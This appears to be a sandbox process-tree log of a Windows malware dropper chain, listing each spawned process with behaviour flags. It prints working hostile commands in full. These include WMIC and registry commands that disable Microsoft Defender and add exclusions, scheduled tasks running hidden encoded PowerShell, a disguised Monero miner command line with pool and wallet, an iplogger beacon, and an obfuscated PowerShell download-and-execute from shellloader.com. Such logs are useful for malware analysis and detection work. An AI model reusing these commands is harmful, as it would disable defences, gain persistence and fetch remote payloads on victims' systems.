C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
14⤵
PID:3796

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
15⤵
PID:8168

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
16⤵
PID:7424

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"
13⤵
PID:4044

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
14⤵
PID:4672

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
15⤵
PID:2716

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
16⤵
PID:5296

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
12⤵
PID:8680

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
13⤵
PID:6036

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
14⤵
PID:4352

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
14⤵
PID:8660

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
12⤵
PID:8784

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
13⤵
- Suspicious use of AdjustPrivilegeToken
PID:1388

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
14⤵
PID:7360

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
14⤵
PID:9160

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gRBwliqJK" /SC once /ST 02:42:25 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
12⤵
- Creates scheduled task(s)
PID:8444

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gRBwliqJK"
12⤵
PID:8896

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gRBwliqJK"
12⤵
PID:6584

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bRciptYQhTCMvEFWGJ" /SC once /ST 04:26:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iXkrQovqyvDrylo\tVitMcR.exe\" W8 /site_id 668658 /S" /V1 /F
12⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:8804

C:\Users\Admin\Documents\p9WtEb4nLn9LYaHk_xGbxxLT.exe
"C:\Users\Admin\Documents\p9WtEb4nLn9LYaHk_xGbxxLT.exe" /mixtwo
9⤵
PID:8012

C:\Users\Admin\Documents\ANhGQlxrlzxOvAK2RhlqYGnz.exe
"C:\Users\Admin\Documents\ANhGQlxrlzxOvAK2RhlqYGnz.exe"
9⤵
PID:7048

C:\Users\Admin\Documents\qL2J_PVk7ZKwjQz24oNIBZYd.exe
"C:\Users\Admin\Documents\qL2J_PVk7ZKwjQz24oNIBZYd.exe"
9⤵
PID:7396

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
8⤵
- Creates scheduled task(s)
PID:7588

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
8⤵
- Creates scheduled task(s)
PID:1356

C:\Users\Admin\Documents\pY_wDn8FGOHM6IwpAV2xsEfl.exe
"C:\Users\Admin\Documents\pY_wDn8FGOHM6IwpAV2xsEfl.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5728

C:\Users\Admin\Documents\Ve704qxR6dWELrrDYFMDJv04.exe
"C:\Users\Admin\Documents\Ve704qxR6dWELrrDYFMDJv04.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:6064

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im Ve704qxR6dWELrrDYFMDJv04.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\Ve704qxR6dWELrrDYFMDJv04.exe" & del C:\ProgramData\*.dll & exit
8⤵
PID:6984

C:\Windows\SysWOW64\taskkill.exe
taskkill /im Ve704qxR6dWELrrDYFMDJv04.exe /f
9⤵
- Kills process with taskkill
PID:4804

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
9⤵
- Delays execution with timeout.exe
PID:432

C:\Users\Admin\Documents\zQDKpiaKcfYU3gXEL7wYq44A.exe
"C:\Users\Admin\Documents\zQDKpiaKcfYU3gXEL7wYq44A.exe"
7⤵
- Executes dropped EXE
PID:5280

C:\Users\Admin\Documents\cnk4wNzo39VsBflWRCRKKviU.exe
"C:\Users\Admin\Documents\cnk4wNzo39VsBflWRCRKKviU.exe"
7⤵
- Executes dropped EXE
PID:788

C:\Users\Admin\Documents\cnk4wNzo39VsBflWRCRKKviU.exe
"C:\Users\Admin\Documents\cnk4wNzo39VsBflWRCRKKviU.exe"
8⤵
- Modifies data under HKEY_USERS
PID:8968

C:\Users\Admin\Documents\mqZAtDx1SQybmKzRvDk9vSly.exe
"C:\Users\Admin\Documents\mqZAtDx1SQybmKzRvDk9vSly.exe"
7⤵
- Executes dropped EXE
PID:3516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3516 -s 660
8⤵
- Executes dropped EXE
- Program crash
PID:6436

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3516 -s 712
8⤵
- Program crash
PID:4520

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3516 -s 756
8⤵
- Program crash
PID:5344

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3516 -s 728
8⤵
- Program crash
PID:5680

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "mqZAtDx1SQybmKzRvDk9vSly.exe" /f & erase "C:\Users\Admin\Documents\mqZAtDx1SQybmKzRvDk9vSly.exe" & exit
8⤵
PID:6484

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "mqZAtDx1SQybmKzRvDk9vSly.exe" /f
9⤵
- Kills process with taskkill
PID:7832

C:\Users\Admin\Documents\Ql_36dLXXmKvLG7TUWIE076z.exe
"C:\Users\Admin\Documents\Ql_36dLXXmKvLG7TUWIE076z.exe"
7⤵
- Executes dropped EXE
PID:1540

C:\Program Files (x86)\Company\NewProduct\inst001.exe
"C:\Program Files (x86)\Company\NewProduct\inst001.exe"
8⤵
PID:6436

C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
8⤵
PID:6428

C:\Program Files (x86)\Company\NewProduct\cm3.exe
"C:\Program Files (x86)\Company\NewProduct\cm3.exe"
8⤵
- Executes dropped EXE
PID:6420

C:\Users\Admin\Documents\ufwd4oveAP5wqqZiE00Cyq4W.exe
"C:\Users\Admin\Documents\ufwd4oveAP5wqqZiE00Cyq4W.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5888

C:\Windows\SysWOW64\cmd.exe
"cmd" /c start "" "f.exe" & start "" "wwi.exe" & start "" "wwl.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"
8⤵
PID:5200

C:\Users\Admin\AppData\Local\Temp\f.exe
"f.exe"
9⤵
- Executes dropped EXE
PID:6924

C:\Users\Admin\AppData\Local\237843444.exe
"C:\Users\Admin\AppData\Local\237843444.exe"
10⤵
PID:7368

C:\Users\Admin\AppData\Local\Temp\wwi.exe
"wwi.exe"
9⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:7004

C:\Users\Admin\AppData\Local\Temp\wwl.exe
"wwl.exe"
9⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:7120

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"
9⤵
- Blocklisted process makes network request
PID:6512

C:\Users\Admin\Documents\Cj2wYUqrhExEa_p_PNBBR1Ta.exe
"C:\Users\Admin\Documents\Cj2wYUqrhExEa_p_PNBBR1Ta.exe"
7⤵
- Executes dropped EXE
PID:5412

C:\Users\Admin\Documents\2PxE4GGl9DYY9cPBnPuTDeuD.exe
"C:\Users\Admin\Documents\2PxE4GGl9DYY9cPBnPuTDeuD.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2300

C:\Users\Admin\Documents\2PxE4GGl9DYY9cPBnPuTDeuD.exe
"C:\Users\Admin\Documents\2PxE4GGl9DYY9cPBnPuTDeuD.exe"
8⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:6132

C:\Users\Admin\Documents\nIzz2MT7R9vZWZ1n46kaQqqq.exe
"C:\Users\Admin\Documents\nIzz2MT7R9vZWZ1n46kaQqqq.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4280

C:\Users\Admin\Documents\nIzz2MT7R9vZWZ1n46kaQqqq.exe
"C:\Users\Admin\Documents\nIzz2MT7R9vZWZ1n46kaQqqq.exe"
8⤵
- Executes dropped EXE
PID:6992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4280 -s 948
8⤵
- Program crash
PID:4004

C:\Users\Admin\Documents\bwRPCmyyuAeF3udhCXK92Wuk.exe
"C:\Users\Admin\Documents\bwRPCmyyuAeF3udhCXK92Wuk.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4308

C:\Users\Admin\Documents\bwRPCmyyuAeF3udhCXK92Wuk.exe
C:\Users\Admin\Documents\bwRPCmyyuAeF3udhCXK92Wuk.exe
8⤵
PID:1168

C:\Users\Admin\Documents\lYA6OhZfjX_IiRsLAxhYCDL8.exe
"C:\Users\Admin\Documents\lYA6OhZfjX_IiRsLAxhYCDL8.exe"
7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:6308

C:\Users\Admin\Documents\0FyG6eibBzsyIHKxbZFN7N2s.exe
"C:\Users\Admin\Documents\0FyG6eibBzsyIHKxbZFN7N2s.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6412

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\0FyG6eibBzsyIHKxbZFN7N2s.exe"
8⤵
PID:5616

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
9⤵
- Delays execution with timeout.exe
PID:8480

C:\Users\Admin\Documents\Cwrwa2OnuYMrpTfVzpqKevNp.exe
"C:\Users\Admin\Documents\Cwrwa2OnuYMrpTfVzpqKevNp.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:6404

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
8⤵
PID:4240

C:\Users\Admin\Documents\loCYxj9nt_WnT28KJk9m0uta.exe
"C:\Users\Admin\Documents\loCYxj9nt_WnT28KJk9m0uta.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6300

C:\Users\Admin\Documents\loCYxj9nt_WnT28KJk9m0uta.exe
C:\Users\Admin\Documents\loCYxj9nt_WnT28KJk9m0uta.exe
8⤵
PID:5332

C:\Users\Admin\Documents\r88JhS3F0W6S70zSplpXd6Qs.exe
"C:\Users\Admin\Documents\r88JhS3F0W6S70zSplpXd6Qs.exe"
7⤵
- Executes dropped EXE
PID:6280

C:\Users\Admin\Documents\wi6Q8OpmIhQZPLTnGf2i4ckM.exe
"C:\Users\Admin\Documents\wi6Q8OpmIhQZPLTnGf2i4ckM.exe"
7⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6832

C:\Users\Admin\Documents\6bmOil5kPQtDDuy8EnUIWPil.exe
"C:\Users\Admin\Documents\6bmOil5kPQtDDuy8EnUIWPil.exe"
7⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5316

C:\Users\Admin\Documents\ixGyDENWvi4FjM9oSfVaDa8T.exe
"C:\Users\Admin\Documents\ixGyDENWvi4FjM9oSfVaDa8T.exe"
7⤵
PID:6248

C:\Users\Admin\AppData\Roaming\5823601.scr
"C:\Users\Admin\AppData\Roaming\5823601.scr" /S
8⤵
PID:7976

C:\Users\Admin\AppData\Roaming\4803149.scr
"C:\Users\Admin\AppData\Roaming\4803149.scr" /S
8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4476

C:\Users\Admin\AppData\Roaming\6461779.scr
"C:\Users\Admin\AppData\Roaming\6461779.scr" /S
8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:7152

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun193fda712d9f1.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:420

C:\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\Sun193fda712d9f1.exe
Sun193fda712d9f1.exe
6⤵
- Executes dropped EXE
PID:4288

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun19e4ade31b2a.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:2932

C:\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\Sun19e4ade31b2a.exe
Sun19e4ade31b2a.exe
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4188

C:\Users\Admin\AppData\Roaming\3745972.scr
"C:\Users\Admin\AppData\Roaming\3745972.scr" /S
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4600

C:\Users\Admin\AppData\Roaming\7209643.scr
"C:\Users\Admin\AppData\Roaming\7209643.scr" /S
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:648

C:\Users\Admin\AppData\Roaming\3781340.scr
"C:\Users\Admin\AppData\Roaming\3781340.scr" /S
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:860

C:\Users\Admin\AppData\Roaming\3781340.scr
"C:\Users\Admin\AppData\Roaming\3781340.scr"
8⤵
- Executes dropped EXE
PID:1128

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 860 -s 952
8⤵
- Program crash
PID:4284

C:\Users\Admin\AppData\Roaming\7576774.scr
"C:\Users\Admin\AppData\Roaming\7576774.scr" /S
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2684

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun19de8ff4b6aefeb8.exe /mixone
5⤵
- Suspicious use of WriteProcessMemory
PID:4108

C:\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\Sun19de8ff4b6aefeb8.exe
Sun19de8ff4b6aefeb8.exe /mixone
6⤵
- Executes dropped EXE
PID:4448

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 656
7⤵
- Program crash
PID:1388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 672
7⤵
- Program crash
PID:5872

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 676
7⤵
- Program crash
PID:2748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 628
7⤵
- Program crash
PID:6684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 888
7⤵
- Program crash
PID:8048

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 936
7⤵
- Program crash
PID:7996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 1104
7⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:7404

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun191101c1aaa.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:4136

C:\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\Sun191101c1aaa.exe
Sun191101c1aaa.exe
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4268

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
7⤵
- Executes dropped EXE
PID:3944

C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
8⤵
- Executes dropped EXE
PID:780

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
9⤵
PID:2120

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
10⤵
- Creates scheduled task(s)
PID:6820

C:\Users\Admin\AppData\Roaming\services64.exe
"C:\Users\Admin\AppData\Roaming\services64.exe"
9⤵
- Suspicious use of SetThreadContext
PID:5844

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
10⤵
PID:7720

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
11⤵
- Creates scheduled task(s)
PID:8152

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
10⤵
PID:7800

C:\Windows\explorer.exe
C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
10⤵
PID:7728

C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4648

C:\ProgramData\4167264.exe
"C:\ProgramData\4167264.exe"
9⤵
- Executes dropped EXE
PID:7076

C:\ProgramData\7546708.exe
"C:\ProgramData\7546708.exe"
9⤵
- Suspicious use of SetThreadContext
PID:6868

C:\ProgramData\7546708.exe
"C:\ProgramData\7546708.exe"
10⤵
PID:5300

C:\ProgramData\5343748.exe
"C:\ProgramData\5343748.exe"
9⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5324

C:\ProgramData\2102962.exe
"C:\ProgramData\2102962.exe"
9⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4888

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
8⤵
- Executes dropped EXE
PID:2412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2412 -s 808
9⤵
- Program crash
PID:504

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2412 -s 844
9⤵
- Program crash
PID:6796

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2412 -s 888
9⤵
- Program crash
PID:6276

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2412 -s 896
9⤵
- Program crash
PID:4628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2412 -s 888
9⤵
- Program crash
PID:6076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2412 -s 772
9⤵
- Program crash
PID:5352

C:\Users\Admin\AppData\Local\Temp\2.exe
"C:\Users\Admin\AppData\Local\Temp\2.exe"
8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1720

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
9⤵
PID:6364

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
10⤵
PID:6588

C:\Users\Admin\AppData\Local\Temp\udptest.exe
"C:\Users\Admin\AppData\Local\Temp\udptest.exe"
8⤵
- Executes dropped EXE
PID:4080

C:\Users\Admin\AppData\Local\Temp\5.exe
"C:\Users\Admin\AppData\Local\Temp\5.exe"
8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2144

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2144 -s 1652
9⤵
- Program crash
PID:7408

C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecF18.exe
"C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecF18.exe"
8⤵
- Executes dropped EXE
PID:4740

C:\Users\Admin\AppData\Local\Temp\tmpAEE8_tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmpAEE8_tmp.exe"
9⤵
- Suspicious use of SetThreadContext
PID:7828

C:\Users\Admin\AppData\Local\Temp\tmpAEE8_tmp.exe
C:\Users\Admin\AppData\Local\Temp\tmpAEE8_tmp.exe
10⤵
PID:8144

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
8⤵
PID:5236

C:\Users\Admin\AppData\Local\Temp\is-1I20T.tmp\setup_2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-1I20T.tmp\setup_2.tmp" /SL5="$2028E,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
9⤵
PID:5796

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
10⤵
- Executes dropped EXE
PID:4492

C:\Users\Admin\AppData\Local\Temp\is-94MIG.tmp\setup_2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-94MIG.tmp\setup_2.tmp" /SL5="$30302,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
11⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:5436

C:\Users\Admin\AppData\Local\Temp\is-3CBHI.tmp\postback.exe
"C:\Users\Admin\AppData\Local\Temp\is-3CBHI.tmp\postback.exe" ss1
12⤵
- Suspicious use of SetThreadContext
PID:2748

C:\Windows\SysWOW64\explorer.exe
explorer.exe ss1
13⤵
PID:4520

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
14⤵
PID:6172

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
15⤵
PID:5904

C:\Windows\SysWOW64\cmd.exe
cmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\3593q1ONO.dll"
14⤵
PID:6332

C:\Windows\SysWOW64\regsvr32.exe
regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\3593q1ONO.dll"
15⤵
- Loads dropped DLL
PID:8388

C:\Windows\system32\regsvr32.exe
/s "C:\Users\Admin\AppData\Local\Temp\3593q1ONO.dll"
16⤵
- Loads dropped DLL
PID:8428

C:\Windows\SysWOW64\cmd.exe
cmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\3593q1ONO.dll9Nv3ank7V.dll"
14⤵
PID:3300

C:\Windows\SysWOW64\regsvr32.exe
regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\3593q1ONO.dll9Nv3ank7V.dll"
15⤵
- Loads dropped DLL
PID:5556

C:\Windows\system32\regsvr32.exe
/s "C:\Users\Admin\AppData\Local\Temp\3593q1ONO.dll9Nv3ank7V.dll"
16⤵
- Loads dropped DLL
PID:9152

C:\Users\Admin\AppData\Local\Temp\3002.exe
"C:\Users\Admin\AppData\Local\Temp\3002.exe"
8⤵
- Executes dropped EXE
